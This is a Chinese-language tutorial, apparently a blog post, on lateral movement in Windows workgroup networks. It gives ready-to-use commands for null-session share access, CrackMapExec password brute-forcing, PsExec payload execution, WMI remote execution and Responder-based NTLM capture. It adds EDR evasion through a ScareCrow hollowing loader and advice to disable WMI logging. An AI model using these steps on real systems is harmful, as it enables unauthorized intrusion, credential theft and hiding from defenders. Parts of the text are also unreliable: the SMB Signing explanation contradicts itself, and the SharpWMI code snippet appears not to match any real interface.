工作组环境下的内网横向
工作组横向移动的核心路径(五步法)
路径 1:空连接 + 共享访问(最基础且最有效)
- 工作组主机默认允许“匿名”连接至
IPC$共享; - 若未禁用空连接,则可无需密码访问系统信息;
- 可通过
net use建立连接,进一步获取文件、注册表、进程等信息。
命令示例(以 cmd 执行):
# 建立空连接(无密码)
net use \\192.168.178.100\ipc$ "" /user:""
# 查看共享列表
net view \\192.168.178.100
# 映射 C 盘共享
net use Z: \\192.168.178.100\C$ "" /user:""
限制:若目标主机关闭了 IPC$ 共享或设置了防火墙规则,则失败。
验证方法(探测是否支持空连接):
# PowerShell 检查
try {
$session = New-Object -ComObject WScript.Network
$session.MapNetworkDrive("Z:", "\\192.168.178.100\C$", $false, "", "")
} catch {
Write-Host "无法建立空连接"
}
路径 2:弱口令爆破(暴力破解管理员账户)
原理
- 很多企业内部系统使用统一密码(如
Admin@2024、Password123); - 通过工具对常见管理员账户进行爆破,成功率极高。
推荐工具:CrackMapExec(CME)
典型命令(针对工作组主机):
# 使用用户名列表和密码字典尝试登录
crackmapexec smb 192.168.178.100 -u admin -p passwords.txt --local-auth
# 仅测试空密码
crackmapexec smb 192.168.178.100 -u admin -p "" --local-auth
# 列出所有共享资源
crackmapexec smb 192.168.178.100 -u admin -p 'Pass@123' --shares
提示:使用 --local-auth 标志,表示使用本地账户而非域账户认证。
加速技巧:
- 使用
hashcat提前计算常见密码哈希(NTLMv2); - 对于已知账户(如
Administrator,dev,svc),优先尝试。
路径 3:PsExec + 本地管理员账户(最经典)
原理
PsExec是微软官方工具,用于远程执行命令;- 若目标主机存在本地管理员账户且密码已知,即可直接执行任意命令。
使用方式:
# 远程执行命令(需管理员密码)
psexec \\192.168.178.100 -u admin -p Pass@123 cmd.exe
# 上传并执行 payload
psexec \\192.168.178.100 -u admin -p Pass@123 -c payload.exe
缺点:会留下大量日志(Event ID 4688)、高频网络流量,易被检测。
改进方案:免杀版 PsExec(内存执行)
使用 ScareCrow + Syswhispers2 生成免杀版本:
# 生成反射式 DLL(注入到合法进程)
./ScareCrow -I psexec.bin -Loader dll -inject svchost -hollow true -o psexec_hollow.dll
优势:不写磁盘、不调用 CreateRemoteThread,绕过 EDR 检测。
路径 4:WMI 横向移动(轻量级、低噪声)
原理
- Windows Management Instrumentation(WMI)是系统内置的管理接口;
- 支持跨主机执行脚本、查询信息、启动服务;
- 流量走 135 端口,常被允许通过防火墙。
实现方式(PowerShell):
# 连接到目标主机并执行命令
Invoke-WmiMethod -ComputerName 192.168.178.100 -Namespace "root/cimv2" \
-Class Win32_Process -Name Create -ArgumentList @("cmd.exe /c whoami > C:\temp\whoami.txt")
绕过机制:
- 使用
WmiService进行代理连接; - 设置
Credential为已知管理员账户; - 关闭
WMI Logging以减少痕迹。
工具增强:SharpWMI(C# 编写,免杀)
- GitHub:https://github.com/GhostPack/SharpWMI
- 功能:支持远程执行、注册表读取、服务操作。
// SharpWMI 执行命令
var wmi = new SharpWMI("192.168.178.100", "admin", "Pass@123");
wmi.ExecuteCommand("cmd.exe /c whoami > C:\\temp\\whoami.txt");
优势:编译为 .NET Assembly,可在内存中加载,避免静态特征。
路径 5:SMB Relay + 本地账户重用(高级玩法)
原理
- 若目标主机开启了
SMB Signing等安全机制,可被利用; - 使用
Responder等工具捕获目标主机发送的 NTLM 认证请求; - 在中间人位置伪造响应,实现“欺骗式”登录。
工具:Responder(MITM 攻击框架)
- GitHub:https://github.com/SpiderLabs/Responder
- 版本:2.3.1(2025年11月)
启动命令:
# 监听局域网中的 SMB 认证请求
sudo python3 responder.py -I eth0 -wrf
触发条件:
- 目标主机尝试访问一个不存在的共享(如
\\192.168.178.100\fake_share); - 会自动发送
NTLMSSP_AUTH包; Responder捕获后返回伪造响应,获取明文密码或 hash。
攻击链:
[攻击者] → [监听] → [目标主机发起请求] → [收到伪造响应] → [成功登录]
注意:需确保攻击者在同一子网,且目标主机未启用 SMB Signing。

浙公网安备 33010602011771号